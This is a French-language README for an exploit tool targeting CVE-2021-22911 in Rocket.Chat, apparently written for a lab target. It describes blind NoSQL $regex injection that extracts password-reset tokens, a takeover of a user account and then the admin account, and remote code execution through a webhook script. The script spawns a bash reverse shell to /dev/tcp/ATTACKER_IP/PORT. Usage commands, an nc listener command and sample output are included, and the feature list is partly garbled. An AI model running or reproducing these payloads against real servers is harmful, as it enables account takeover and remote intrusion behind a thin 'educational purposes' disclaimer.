
CVE-2021-22911 Rocket.Chat Exploit RCE par injection NoSQL - À des fins éducatives
Cet exploit est destiné uniquement aux tests d'intrusion autorisés et à des fins éducatives. L'accès non autorisé à des systèmes informatiques est illégal. L'auteur n'est pas responsable de toute mauvaise utilisation.
CVE-2021-22911 est une vulnérabilité critique d'injection NoSQL non authentifiée dans Rocket.Chat qui mène à une exécution de code à distance (RCE).
Cet exploit enchaîne trois attaques par injection NoSQL :
$regex pour extraire le jeton de réinitialisation de mot de passe caractère par caractèrechild_process.exec() pour lancer un shell inversépip install requests
nc -lvnp 4444
Saisie manuelle de l'IP :
python3 rocket_chat_exploit.py \
-u [email protected] \
-a [email protected] \
-t http://chat.rocket.thm \
-i 10.9.0.1 \
-p 4444
Auto-detect tun0 IP (Recommended):
python3 rocket_chat_exploit.py \
-u [email protected] \
-a [email protected] \
-t http://chat.rocket.thm \
-i $(ip a show tun0 | grep "inet " | awk '{print $2}' | cut -d/ -f1) \
-p 4444
Arguments :
-u : E-mail de l'utilisateur à faibles privilèges (doit exister)-a : E-mail de l'administrateur-t : URL cible (instance Rocket.Chat)-i : Votre IP d'attaquant (tun0)-p : Port de l'écouteur Netcat============================================================
Rocket.Chat CVE-2021-22911 — RCE
Target : http://chat.rocket.thm
Shell : 10.9.0.1:4444
============================================================
[PHASE 1] Low-priv user → [email protected]
[+] Password reset email sent → [email protected]
[*] Extracting reset token via blind NoSQL injection...
[43/43] aBcDeFgHiJkLmNoPqRsTuVwXyZ1234567890abcd
[+] Token: aBcDeFgHiJkLmNoPqRsTuVwXyZ1234567890abcd
[+] Password changed to: P@$$w0rd!1234
[PHASE 2] Admin user → [email protected]
[+] Password reset email sent → [email protected]
[*] Extracting reset token via blind NoSQL injection...
[43/43] XyZ9876543210aBcDeFgHiJkLmNoPqRsTuVwXyZ
[+] Token: XyZ9876543210aBcDeFgHiJkLmNoPqRsTuVwXyZ
[+] Password changed to: P@$$w0rd!1234
[PHASE 3] RCE
[!] Start your listener now: nc -lvnp 4444
[*] Press Enter when nc is ready...
[+] Authenticated as [email protected]
userid : userid123456789
token : token123456...
[+] Webhook created
http://chat.rocket.thm/hooks/hookid123/token456
[*] Triggering reverse shell...
[+] Trigger sent — check your nc listener
{
"message": {
"msg": "method",
"method": "getPasswordPolicy",
"params": [
{
"token": {
"$regex": "^abc"
}
}
]
}
}
class Script {
process_incoming_request({ request }) {
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"');
}
}
Cet outil est fourni uniquement à des fins éducatives et pour des tests de sécurité autorisés. L'accès non autorisé à des systèmes informatiques est une infraction pénale en vertu du Computer Fraud and Abuse Act (CFAA) et de lois internationales similaires.
Utilisez-le de manière responsable. Ne testez que les systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite.